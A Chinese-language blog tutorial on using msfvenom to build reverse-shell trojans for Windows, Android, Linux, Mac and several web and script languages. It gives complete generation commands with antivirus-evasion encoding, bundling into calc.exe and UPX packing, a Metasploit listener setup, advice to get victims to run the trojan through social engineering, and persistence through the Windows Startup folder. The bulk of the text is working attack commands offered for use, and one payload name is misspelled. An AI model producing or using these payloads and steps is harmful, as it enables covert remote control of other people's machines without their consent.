在前一篇文章中我讲了什么是Meterpreter,并且讲解了Meterpreter的用法。传送门——>Metasploit之Meterpreter
今天我要讲的是我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。
Msfvenom
- –p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门了!!!
- –l:查看所有payload encoder nops。
- –f :输出文件格式。
- –e:编码免杀。
- –a:选择架构平台 x86 | x64 | x86_64
- –o:文件输出
- –s:生成payload的最大长度,就是文件大小。
- –b:避免使用的字符 例如:不使用 ‘ f’。
- –i:编码次数。
- –c:添加自己的shellcode
- –x | -k:捆绑
生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o test.exe #编码3次
然后会在该目录下生成一个test.exe的木马。
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.10.11 lport=8888 -x calc.exe -f exe -o test.exe #编码20次、捆绑正常的32位calc.exe,生成32位的test.exe文件
利用 upx 加壳
upx -9 test.exe -k -o test2.exe
下面介绍一些生成其他格式的木马!
安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
接下来,我们运行 msfconsole 进入MSF控制台,然后输入以下命令
msf > use exploit/multi/handler #使用exploit/multi/handler监听从肉鸡发来的数据
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp #设置payload,不同的木马设置不同的payload
msf exploit(handler) > set lhost 192.168.10.15 #我们的主机ip
msf exploit(handler) > set lport 8888 #我们的主机端口
msf exploit(handler) > exploit
然后,将木马发送给其他人,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。
因为我们刚刚把进程挂在后台,所以我们输入:sessions -l 可以查看到我们得到的shell,使用 sessions -i 1 可以进入指定的shell,我们这里只有一个,所以id为1。如图,我们成功拿到了其他主机的shell
对于这个木马,如果我们在获取到某主机的shell后,想要在目标主机建立持续性的后门,我们可以将该木马放到目标主机的开机启动项中,那样,只要该主机启动后,我们就可以连接到该主机了。
C:Users$username$AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
但是,虽然目标主机运行了该木马程序,但是由于种种原因,还是有可能获取不到对方的session。如下图,就没有获取到session。
关于后渗透阶段如何使用Meterpreter,传送门——>后渗透阶段Meterpreter的使用